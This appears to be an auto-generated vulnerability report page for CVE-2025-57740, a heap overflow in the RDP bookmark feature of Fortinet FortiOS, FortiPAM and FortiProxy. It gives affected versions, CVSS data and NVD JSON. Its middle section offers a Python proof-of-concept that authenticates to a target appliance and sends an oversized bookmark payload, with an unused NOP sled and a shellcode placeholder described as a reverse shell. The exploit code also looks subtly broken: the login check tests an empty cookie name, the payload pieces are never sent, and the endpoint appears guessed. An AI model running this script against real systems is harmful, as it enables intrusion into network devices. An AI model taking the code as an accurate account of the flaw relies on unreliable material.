Security Vulnerability Report
中文
CVE-2025-57740 CVSS 7.5 HIGH

CVE-2025-57740

Published: 2025-10-14 16:15:40
Last Modified: 2025-10-15 17:22:47

Description

An Heap-based Buffer Overflow vulnerability [CWE-122] in FortiOS version 7.6.2 and below, version 7.4.7 and below, version 7.2.10 and below, 7.0 all versions, 6.4 all versions; FortiPAM version 1.5.0, version 1.4.2 and below, 1.3 all versions, 1.2 all versions, 1.1 all versions, 1.0 all versions and FortiProxy version 7.6.2 and below, version 7.4.3 and below, 7.2 all versions, 7.0 all versions RDP bookmark connection may allow an authenticated user to execute unauthorized code via crafted requests.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortipam:1.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
FortiOS 7.6.2及以下
FortiOS 7.4.7及以下
FortiOS 7.2.10及以下
FortiOS 7.0全版本
FortiOS 6.4全版本
FortiPAM 1.5.0
FortiPAM 1.4.2及以下
FortiPAM 1.3全版本
FortiPAM 1.2全版本
FortiPAM 1.1全版本
FortiPAM 1.0全版本
FortiProxy 7.6.2及以下
FortiProxy 7.4.3及以下
FortiProxy 7.2全版本
FortiProxy 7.0全版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57740 PoC - Fortinet RDP Bookmark Heap Buffer Overflow # Vulnerability: Heap-based Buffer Overflow in RDP bookmark connection # Affected: FortiOS, FortiPAM, FortiProxy import requests import socket import struct class FortinetRDPExploit: """ Proof of Concept for CVE-2025-57740 Heap-based Buffer Overflow in Fortinet RDP bookmark connection """ def __init__(self, target_ip, target_port=443, username=None, password=None): self.target_ip = target_ip self.target_port = target_port self.username = username self.password = password self.session = requests.Session() self.base_url = f"https://{target_ip}:{target_port}" def authenticate(self): """Authenticate to FortiGate/FortiProxy management interface""" login_url = f"{self.base_url}/logincheck" data = { "username": self.username, "secretkey": self.password } try: resp = self.session.post(login_url, data=data, verify=False, timeout=10) if "" in self.session.cookies.get_dict(): print("[+] Authentication successful") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def craft_rdp_bookmark_payload(self, overflow_size=4096): """Craft malicious RDP bookmark payload to trigger heap overflow""" # Normal RDP bookmark fields bookmark = { "name": "legit_bookmark", "hostname": "target.example.com", "username": "user", "port": "3389" } # Overflow payload - excessive length in hostname field # This triggers heap buffer overflow in RDP bookmark processing overflow_data = "A" * overflow_size bookmark["hostname"] = overflow_data # Additional crafted data for RCE primitive # NOP sled + shellcode placeholder nop_sled = b"\x90" * 256 # Placeholder for actual shellcode (e.g., reverse shell) shellcode_placeholder = b"\xcc" * 100 # INT3 breakpoints for debugging return bookmark def send_exploit(self): """Send the crafted RDP bookmark request""" if not self.authenticate(): return False # Endpoint for RDP bookmark configuration bookmark_url = f"{self.base_url}/api/v2/endpoint/rdp/bookmark" payload = self.craft_rdp_bookmark_payload() try: resp = self.session.post( bookmark_url, json=payload, verify=False, timeout=30 ) print(f"[*] Exploit response status: {resp.status_code}") return resp.status_code except Exception as e: print(f"[*] Exploit may have triggered crash: {e}") return True # Usage example: # exploit = FortinetRDPExploit("192.168.1.1", username="low_priv_user", password="password") # exploit.send_exploit() # Note: Actual exploitation requires valid credentials and specific payload tuning

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57740", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:40.293", "lastModified": "2025-10-15T17:22:47.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Heap-based Buffer Overflow vulnerability [CWE-122] in FortiOS version 7.6.2 and below, version 7.4.7 and below, version 7.2.10 and below, 7.0 all versions, 6.4 all versions; FortiPAM version 1.5.0, version 1.4.2 and below, 1.3 all versions, 1.2 all versions, 1.1 all versions, 1.0 all versions and FortiProxy version 7.6.2 and below, version 7.4.3 and below, 7.2 all versions, 7.0 all versions RDP bookmark connection may allow an authenticated user to execute unauthorized code via crafted requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "B9E9E89B-BFFD-41F2-AEBB-06D55FE10038"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "50E93879-C162-4280-9687-89A4ADBB7287"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.4.3", "matchCriteriaId": "6C39FBB2-E81C-4207-AFDD-080EC80F00A3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortipam:1.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "0401C6C0-DC87-4728-873E-6DA489C859A8"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.0", "versionEndExcluding": "7.2.11", "matchCriteriaId": "753664B2-3AE8-499A-9C8A-B7D928439697"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.8", "matchCriteriaId": "26515743-5A9A-4885-A08E-535E4ABE0153"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "D6B883B9-9ECD-4BC5-B497-770F34F92473"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-756", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}